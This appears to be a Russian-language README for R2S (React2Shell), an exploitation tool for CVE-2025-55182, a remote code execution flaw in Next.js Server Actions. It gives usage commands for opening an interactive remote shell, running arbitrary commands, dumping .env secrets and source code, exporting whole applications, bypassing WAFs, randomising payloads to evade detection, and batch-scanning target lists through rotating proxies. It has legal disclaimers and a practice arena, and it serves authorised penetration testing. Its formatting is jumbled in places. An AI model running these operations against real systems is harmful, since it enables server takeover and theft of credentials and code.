
Продвинутый инструмент для тестирования безопасности для оценки уязвимости CVE-2025-55182 в приложениях Next.js. Включает интерактивную оболочку, пакетное сканирование, обход WAF и всестороннюю отчетность.
Продвинутый инструмент тестирования эксплуатации для оценки уязвимости CVE-2025-55182
Особенности • Установка • Использование • Тестовая среда • Правовая информация
R2S (React2Shell) — это инструмент тестирования безопасности, предназначенный для помощи исследователям безопасности, разработчикам и пентестерам в оценке уязвимости их приложений Next.js к CVE-2025-55182.
CVE-2025-55182 — это критическая уязвимость, затрагивающая Server Actions в Next.js в определенных версиях (например, 16.0.5). Эта уязвимость позволяет злоумышленникам выполнять произвольные команды на сервере через неправильно защищенные Server Actions, что приводит к удаленному выполнению кода (RCE).
R2S помогает вам проверить, есть ли эта проблема в вашем приложении, чтобы вы могли исправить ее до того, как злоумышленники найдут ее.
--windows)⚠️ КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ: Флаг --windows может привести к тому, что инструмент НЕ СМОЖЕТ определить уязвимость при неправильном использовании.
--windows: Только если вы на 100% уверены, что целевой сервер работает под Windows--windows на сервере Linux, команды не сработают, и инструмент может сообщить «не уязвим», даже если сервер уязвим--windows, если вы не знаете, что целевая система — WindowsПример:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
---
---
## ⚠️ Правовое предупреждение
**ВАЖНО: ПРОЧТИТЕ ЭТО ПЕРЕД ИСПОЛЬЗОВАНИЕМ ИНСТРУМЕНТА**
1. **Этот инструмент предназначен ТОЛЬКО для ЛЕГИТИМНОГО тестирования безопасности**
- ✅ Тестируйте свои собственные приложения
- ✅ Тестируйте приложения, на тестирование которых у вас есть письменное разрешение
- ✅ Образовательные цели и исследования в области безопасности
- ❌ **НИКОГДА не используйте на системах, которыми вы не владеете или на тестирование которых у вас нет разрешения**
- ❌ **НИКОГДА не используйте во вредоносных целях**
2. **Используя этот инструмент, вы соглашаетесь, что:**
- Вы будете использовать его только на системах, которыми владеете или на тестирование которых имеете явное письменное разрешение
- Вы понимаете, что несанкционированный доступ к компьютерным системам незаконен
- Вы принимаете на себя полную ответственность за свои действия
- Авторы не несут ответственности за любое неправомерное использование этого инструмента
3. **Правовые последствия:**
- Несанкционированный доступ к компьютерным системам является преступлением в большинстве стран
- Вы можете столкнуться с уголовным преследованием, штрафами и тюремным заключением
- Всегда получайте письменное разрешение перед тестированием
4. **Этот инструмент предоставляется «КАК ЕСТЬ» без каких-либо гарантий**
**Если вам меньше 18 лет, обязательно обеспечьте надзор взрослых и получите разрешение перед использованием этого инструмента.**
---
## ✨ Возможности
### Ключевые возможности
- 🔍 **Обнаружение уязвимостей** - Быстрая проверка, уязвим ли сервер к CVE-2025-55182
- 💻 **Интерактивная оболочка** - Полноценная интерактивная сессия shell через HTTPS с историей команд
- 📁 **Операции с файлами** - Просмотр каталогов, чтение файлов, экспорт файлов/архивов
- 🔐 **Извлечение секретов** - Попытка чтения секретов приложений (файлы .env, конфигурационные файлы)
- 📄 **Извлечение кода** - Попытка чтения исходного кода приложения
- 🖥️ **Информация о системе** - Сбор информации об ОС, имени хоста, пользователе и переменных окружения
### Расширенные возможности
- 🚀 **Авто-подогрев полезных нагрузок** - Автоматическая оптимизация полезных нагрузок для наилучших результатов
- ⚡ **Параллельное выполнение** - Одновременный запуск нескольких команд
- 🎲 **Случайный выбор полезных нагрузок** - Уклонение от обнаружения с помощью динамических нагрузок
- 🛠️ **Модули эксплойтов** - Модульная система в стиле Metasploit (env_dump, file_search, network_scan, process_list)
- 🔄 **Обработка перенаправлений** - Автоматическое следование HTTP-перенаправлениям (301, 302, 303, 307, 308)
- 🎨 **Красивый интерфейс** - Цветной вывод для удобства чтения
- 📊 **Комплексная отчетность** - Автосохранение отчетов в форматах JSON, HTML, TXT с форматтерами для конкретных операций
- ⚙️ **Система конфигурации** - Конфигурация на основе JSON с интерактивной панелью настроек
- 📦 **Функция экспорта** - Экспорт отдельных файлов или целых каталогов приложений в виде zip-архивов
- 🔒 **Обход WAF** - Несколько методов обхода (⚠️ Не гарантируется — см. ограничения ниже)
### Отчетность и логирование
- 📝 **Автосохранение отчетов** - Автоматическое сохранение отчетов в `~/.r2s/reports/` с читаемыми метками времени
- 📋 **Форматы для конкретных операций** - Разные форматы отчетов для разных операций (shell, test, secrets и т.д.)
- 📜 **История команд** - Постоянная история команд, сохраняемая в `~/.r2s/history`
- 🔍 **Аудиторские следы** - Детальное логирование всех операций в `~/.r2s/logs/audit.log`
- 🎨 **HTML-отчеты** - Красивые HTML-отчеты с темной/светлой темой, кнопками копирования и блоками кода
---
## 📦 Установка
### Вариант 1: Сборка из исходников (рекомендуется)
1. **Клонируйте репозиторий:** ```bash
git clone https://github.com/zamdevio/r2s.git
cd r2s
pip install -r requirements.txt
python3 -m react2shell.main --help
r2s --help
---
## 🚀 Быстрый старт
### Базовый тест на уязвимости```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t
# With verbose output for more details
r2s -u http://localhost:3000 -t -v
⚠️ Важно: Не используйте --windows, если вы не уверены, что цель — Windows. Использование --windows на Linux-сервере приведет к ложноотрицательным результатам (инструмент может сообщить «не уязвимо», даже если сервер уязвим).
Мы предоставляем безопасную среду тестирования по адресу **https://r2s-arena.fly.dev**:```bash
r2s -u https://r2s-arena.fly.dev -t
### Тестирование локально
См. [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) инструкции по запуску уязвимого приложения локально.
---
## 📚 Примеры использования
### Краткая справка по командам
**Наиболее часто используемые команды:**
- `r2s -u URL -t` - Проверка на уязвимость (наиболее часто используется)
- `r2s -u URL --shell` - Запуск интерактивной оболочки
- `r2s --targets FILE -t` - Пакетное сканирование нескольких целей
- `r2s -u URL --system-info` - Получить информацию о системе
- `r2s -u URL --secrets` - Попытка чтения секретов
- `r2s -u URL --export-archive` - Экспорт всего приложения в zip
**⚠️ Помните**: Не используйте `--windows`, если цель не является Windows!
---
### Базовые операции```bash
# Test vulnerability
r2s -u http://localhost:3000 -t
# List directory contents
r2s -u http://localhost:3000 --list-dir /app
# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json
# Get system information
r2s -u http://localhost:3000 --system-info
# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"
r2s -u http://localhost:3000 --shell
### Эксплойт-модули```bash
# List available modules
r2s --list-modules
# Use a module
r2s -u http://localhost:3000 --module env_dump
# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"
# Get module information
r2s --module-info env_dump
r2s -u http://localhost:3000 --export src/app/page.tsx
r2s -u http://localhost:3000 --export-archive
r2s settings
### Секреты и извлечение кода```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.
# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.
r2s --targets targets.txt -t
r2s --targets targets.txt --batch -t
r2s --targets targets.txt -t --rate 2
r2s --targets targets.txt -t --delay 1
r2s --targets targets.txt --batch -t --rate 1 --delay 2
### Расширенные параметры```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"
# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass
# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm
# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize
# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote
# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0
# Disable SSL verification
r2s -u https://target.com -t --insecure
# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2
# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1
r2s -u http://localhost:3000 -t --proxy http://proxy.example.com:8080
r2s -u http://localhost:3000 -t --proxy http://user:[email protected]:8080
r2s -u http://localhost:3000 -t --proxy-file proxies.txt
r2s --targets targets.txt -t --proxy-file proxies.txt --rate 1
### Логирование и аудит```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log
# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit
# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit
r2s settings
r2s cleanup
r2s uninstall
### Отчетность```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}
# Disable auto-save
r2s -u http://localhost:3000 -t --no-report
# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json
# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html
cd my-nextjs-app npm run dev
r2s -u http://localhost:3000 -t
### 2. Аудит безопасности```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive
Используйте предоставленное приложение nextjs для безопасного локального тестирования:```bash
cd nextjs
npm install
npm run dev
r2s -u http://localhost:3000 -t
Смотрите [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) для подробных инструкций.
---
## 🏗️ Архитектура
R2S использует модульную архитектуру для удобства поддержки и расширяемости:```
react2shell/
├── main.py # Main entry point
├── classes/ # Core classes
│ ├── detector.py # Target detection
│ ├── executor.py # Command execution
│ ├── modules.py # Exploit modules system
│ ├── operations.py # High-level operations
│ ├── payload.py # Payload building and randomization
│ └── shell.py # Interactive shell
├── services/ # Services
│ ├── config.py # Configuration management (JSON)
│ ├── exporter.py # File and archive export
│ ├── formatters.py # Report formatters
│ ├── history.py # Command history
│ ├── logger.py # Logging and audit trails
│ ├── proxy.py # Proxy management
│ └── reporter.py # Report generation
└── utils/ # Utilities
├── colors.py # Color utilities
└── helpers.py # Helper functions
См. react2shell/README.md для подробной документации по архитектуре.
Мы предоставляем безопасную тестовую среду под названием nextjs, которую вы можете использовать для тестирования инструмента без риска для реальных систем.
Посетите: https://r2s-arena.fly.dev
Это общедоступное, намеренно уязвимое приложение только для целей тестирования.
См. nextjs/README.md для инструкций по запуску локально.
⚠️ Важно: Приложение nextjs намеренно уязвимо и НИКОГДА не должно использоваться в производственной среде или с реальными данными.
| Команда | Описание |
|---|---|
--export ФАЙЛ, --ex ФАЙЛ | Экспортировать один файл с цели (сохраняется в ~/.r2s/exports/{domain}/) |
--export-archive | Экспортировать весь каталог приложения как zip-архив. Создаёт zip на сервере, загружает его, затем удаляет с сервера. Исключает шаблоны .gitignore. Сохраняется в ~/.r2s/exports/{domain}/r2s_export_TIMESTAMP.zip |
| Команда | Описание |
|---|---|
--module ИМЯ | Выполнить эксплойт-модуль |
--module-list, --list-modules | Вывести список доступных модулей |
| Опция | Описание |
|---|---|
--output ФАЙЛ, -o ФАЙЛ | Сохранить результаты в указанный файл (отключает автосохранение) |
| Опция | Описание |
|---|---|
--targets ФАЙЛ | Сканировать несколько целей из файла (один URL на строку, поддерживает комментарии с #) |
--batch | Пакетный режим: пропустить все интерактивные подсказки, автоматическое продолжение (полезно для автоматизации/скриптов) |
| Команда | Описание |
|---|---|
r2s settings | Открыть интерактивную панель настроек |
r2s cleanup |
r2s -u https://target.com -t --insecure
### "Ошибка подключения"
- Проверьте, запущен ли сервер
- Убедитесь, что URL указан правильно
- Проверьте настройки брандмауэра
- Попробуйте увеличить время ожидания: `--timeout 30`
### "Запрос заблокирован"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass
# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox
⚠️ ВАЖНО: Флаг команд Windows
Если вы получаете ложноотрицательные результаты (инструмент говорит «не уязвимо», но цель на самом деле уязвима), проверьте:
Использовали ли вы флаг --windows?
--windows заставляет инструмент использовать команды Windows (PowerShell, dir и т. д.)--windows приведет к СБОЮ инструмента--windows (по умолчанию используется Unix/Linux)Определение платформы
--windows только если вы на 100% уверены, что цель — WindowsТестовая команда
echo $((41*271))--windows используется: powershell -c "41*271"Пример проблемы:```bash
r2s -u http://linux-server.com -t --windows
r2s -u http://linux-server.com -t
### Ограничения обхода WAF
**⚠️ Важно:** Методы обхода WAF в этом инструменте **НЕ ГАРАНТИРУЮТ** работу и имеют ряд ограничений:
- **Не универсально**: Разные WAF используют разные методы обнаружения. То, что работает для одного, может не работать для другого.
- **Статическое обнаружение**: Некоторые WAF используют сопоставление статических шаблонов, которое можно обойти, но современные WAF применяют поведенческий анализ.
- **Ограничение частоты запросов**: Многие WAF реализуют ограничение частоты, которое может блокировать повторные попытки.
- **Машинное обучение**: Продвинутые WAF используют модели машинного обучения, которые адаптируются и учатся на шаблонах атак.
- **Cloudflare / AWS WAF**: Корпоративные WAF (Cloudflare, AWS WAF и др.) чрезвычайно сложно обойти.
- **Без гарантий**: Методы обхода являются экспериментальными и могут не сработать против хорошо настроенных WAF.
**Рекомендации:**
- Используйте обход WAF только в крайнем случае
- Пробуйте разные стратегии заголовков (`--header-strategy`)
- Комбинируйте с `--randomize` для лучших результатов
- Понимайте, что некоторые цели может быть невозможно обойти
- Всегда тестируйте на системах, которыми вы владеете или на тестирование которых у вас есть разрешение
### Проблемы сборки```bash
# Make sure Python 3.7+ is installed
python3 --version
# Install dependencies
pip install -r requirements.txt
# Clean previous build artifacts
./build.sh cleanup
# Try building again
./build.sh
Чтобы безопасно удалить все артефакты сборки (каталоги сборки, файлы кэша и т.д.):```bash ./build.sh cleanup
Это удалит:
- `build/` каталог (файлы сборки PyInstaller)
- `dist/` каталог (скомпилированные бинарные файлы)
- `__pycache__/` каталоги (кэш Python, рекурсивно)
- `*.pyc` файлы (скомпилированный байт-код Python)
- `*.pyo` файлы (оптимизированный байт-код Python)
- `*.spec` файлы (файлы спецификаций PyInstaller)
**Примечание:** Это удаляет только артефакты сборки, а не ваш исходный код. Очистка безопасна и запросит подтверждение перед выполнением.
---
## 📁 Структура файлов```
r2s/
├── README.md # This file
├── LICENSE # MIT License
├── requirements.txt # Python dependencies
├── build.sh # Build script for standalone binary
├── r2s_entry.py # PyInstaller entry point
├── react2shell/ # Main package
│ ├── README.md # Architecture documentation
│ ├── main.py # Entry point
│ ├── classes/ # Core classes
│ ├── services/ # Services
│ └── utils/ # Utilities
└── nextjs/ # Testing environment
└── README.md # Testing environment documentation
Вклад приветствуется! Пожалуйста:
Помните: Вносите только код, который помогает в легитимном тестировании безопасности.
Этот проект лицензирован по лицензии MIT — подробности в файле LICENSE.
Однако использование этого инструмента подчиняется указанному выше юридическому отказу от ответственности. Использование инструмента для несанкционированного доступа незаконно и не покрывается этой лицензией.
zamdevio
Этот инструмент предназначен ТОЛЬКО для тестирования безопасности и образовательных целей.
Оставайтесь законопослушными, этичными и в безопасности! 🛡️
Сделано с ❤️ для сообщества безопасности
| Команда | Описание |
|---|
-u, --url URL | Целевой URL (обязателен для большинства операций) |
-t, --test | Проверить, уязвим ли сервер |
-ld, --list-dir ПУТЬ | Вывести содержимое каталога |
-rf, --read-file ФАЙЛ | Прочитать содержимое файла |
-si, --system-info | Получить информацию о системе |
-sr, --secrets | Попытаться прочитать секреты |
-c, --code | Попытаться прочитать исходный код |
-cmd, --command КОМАНДА | Выполнить произвольную команду |
--shell | Запустить интерактивную оболочку |
--module-info ИМЯ | Показать информацию о модуле |
--set КЛЮЧ=ЗНАЧЕНИЕ | Установить опцию модуля |
| Опция | Описание |
|---|
--waf-bypass | Попробовать методы обхода WAF (⚠️ Не гарантируется — см. ограничения ниже) |
--waf-bypass-size КБ | Размер мусорных данных для обхода WAF в КБ (по умолчанию: 128) |
--vercel-waf-bypass | Включить методы обхода Vercel-специфического WAF |
--header-strategy СТРАТЕГИЯ | Стратегия HTTP-заголовков: default, chrome_latest, firefox, minimal, assetnote |
--parallel N | Выполнить N команд параллельно (полезно для нескольких команд) |
--auto-warm | Автоматически разогреть и оптимизировать полезные нагрузки перед выполнением |
--randomize | Рандомизировать полезные нагрузки для обхода статического обнаружения |
--no-follow-redirects | Не следовать автоматически за HTTP-редиректами (301, 302 и т.д.) |
-k, --insecure | Отключить проверку SSL-сертификата (использовать с осторожностью) |
--timeout СЕКУНДЫ | Время ожидания запроса в секундах (по умолчанию: 10, используйте 0 для отсутствия тайм-аута) |
--windows | ⚠️ ПРЕДУПРЕЖДЕНИЕ: Использовать команды Windows вместо Unix/Linux. Это может привести к тому, что инструмент НЕ СМОЖЕТ определить уязвимость, если цель на самом деле Unix/Linux. Используйте только если вы уверены, что цель — Windows. |
--rate СКОРОСТЬ | Ограничить запросы до СКОРОСТИ запросов в секунду (полезно для пакетного сканирования) |
--delay СЕКУНДЫ | Добавить задержку между запросами в секундах (помогает избежать ограничения скорости) |
--batch | Пакетный режим: пропустить все интерактивные подсказки, автоматическое продолжение (полезно для автоматизации) |
--no-report | Отключить автоматическое сохранение отчёта в ~/.r2s/reports/ |
--log ФАЙЛ | Записывать все операции в указанный файл (подробный журнал операций) |
--audit | Создать подробный аудиторский след (сохраняется в ~/.r2s/logs/audit.log) |
| Опция | Описание |
|---|
--proxy URL | Использовать HTTP-прокси (формат: http://прокси:порт или http://пользователь:пароль@прокси:порт) |
--proxy-file ФАЙЛ | Загрузить и циклически использовать прокси из файла (один прокси на строку, формат: http://прокси:порт) |
--rate СКОРОСТЬ | Ограничить запросы до СКОРОСТИ запросов в секунду (предотвращает перегрузку цели) |
--delay СЕКУНДЫ | Добавить задержку между запросами в секундах (помогает избежать ограничения скорости) |
| Удалить все данные R2S (конфигурацию, историю, журналы, отчёты, экспорт) |
r2s uninstall | Удалить бинарный файл R2S и все данные |
r2s help | Показать справку |